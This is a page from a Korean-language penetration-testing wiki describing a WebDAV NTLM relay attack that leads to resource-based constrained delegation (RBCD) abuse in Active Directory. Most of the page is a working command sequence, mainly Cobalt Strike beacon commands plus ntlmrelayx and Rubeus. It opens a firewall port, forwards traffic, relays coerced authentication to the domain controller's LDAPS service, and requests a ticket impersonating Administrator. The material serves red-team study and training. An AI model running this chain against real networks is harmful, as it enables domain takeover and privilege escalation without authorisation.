펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Ticket
      • DC Shadow
      • RID Hijacking
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • WriteOwner
        • GenericAll
        • GenericWrite
        • WriteSPN
        • AddMembers
        • WriteProperty
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Ticket
      • KrbRelayUp
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • DCSync
      • LSASS
      • Shadow Credentials
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • ETC
    • CS
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Active Directory Trusts
      • Delegation
      • OAuth 2.0
      • S4U
    • Tools
      • Cobalt Strike
      • BloodHound
      • Certipy-ad
      • LDAP Search
      • Hydra
      • Hashcat
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. 측면 이동

WebDAV Relay

PreviousNTLM RelayNextWinRM

Last updated 16 hours ago

Was this helpful?

Web Distributed Authoring and Versioning은 원격에서 파일을 공유할 수 있는 프로토콜입니다. 로컬 환경에서는 SMB와 같은 파일 공유 시스템을 사용하는 것이 더 보편적이지만, 원격에서 근무를 하거나 협업을 해야 하는 경우에는 HTTP 프로토콜의 확장인 WebDAV를 통해서 파일 공유를 하는 것이 방법 중 하나입니다.

Windows에서는 기본적으로 Explorer를 통해 WebDAV를 지원하는데, WebClient 서비스는 Explorer가 WebDAV를 사용할 수 있도록 도와줍니다. 해당 서비느는 사용자가 실제 WebDAV의 리소스를 사용할 때만 실행되는데 이때는 DAV RPC SERVICE라는 이름의 파이프를 노출하여, 이를 통해 호스트에 WebClient가 실행 중인지 여부를 원격에서 확인할 수 있습니다.

WebDAV를 통한 Relay는 NTLM Relay 공격과는 다르게 특정 포트(445)에서만 인증을 수행하는 것이 아니라 어떤 포트에서든 발생할 수 있다는 점에서 PortBender를 통해 굳이 인증을 위한 포트를 다른 포트로 변경할 필요는 없습니다. 단지 리모트 포트 포워딩을 통해 인증에 사용하려는 포트를 지정하여 팀서버로 전송해주는 작업만 해주면 됩니다.

공격에 필요한 조건은 다음과 같습니다.

  1. 강제 인증에 취약한 WebDAV 서버

  2. MAQ 값이 1 이상인 도메인 계정 확보

  3. LDAP Signing 비활성화

다이어그램에서 표시된 시나리오는 WebDAV를 사용하는 호스트를 발견 시 실현 가능한 시나리오 중 하나입니다. 공격자는 NTLM 릴레이를 위한 서버를 열어서 타겟에게 강제 인증을 하도록 명령합니다. 타겟 호스트는 NTLM 인증을 위해 트래픽을 전송하고, 공격자는 이를 통해서 도메인 컨트롤러에 NTLM 챌린지를 하여 객체의 msDS-AllowToActOnBehalfOfOtherIdentity 속성 값을 변경합니다. 이때 변경하는 값은 공격자가 생성한 머신 계정의 SID 값으로 변경하여, 공격자 머신을 통해 RBCD 공격을 가능하도록 합니다.

# WebClient 서비스 활성화 여부 확인
beacon> inline-execute C:\Tools\GetWebDAVStatus_x64.o <Target 1>, <Target 2>

# 리모트 포트 포워딩에 사용할 방화벽 정책 생성
beacon> powershell New-NetFirewallRule -DisplayName "8888-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8888

# 리모트 포트 포워딩 설정
beacon> rportfwd 8888 localhost 8888

# NTLM Relay 준비
proxychains ntlmrelayx.py -t ldaps://<dc-ip> --delegate-access -smb2support --http-port 8888

# AES256 해시 계산
beacon> execute-assembly C:\Tools\Rubeus.exe hash /domain:<domain> /user:<Machine> /password:<PASS>

# S4U를 통한 사용자 가장 티켓 발급
beacon> execute-assembly C:\Tools\Rubeus.exe s4u /user:PVWUMPYT$ /impersonateuser:Administrator /msdsspn:<Service> /aes256:<AES256 Hash> /nowrap

References

LogoResource-Based Constrained Delegation (RBCD) | 레드팀 플레이북
WebDAV를 이용한 RBCD 악용 시나리오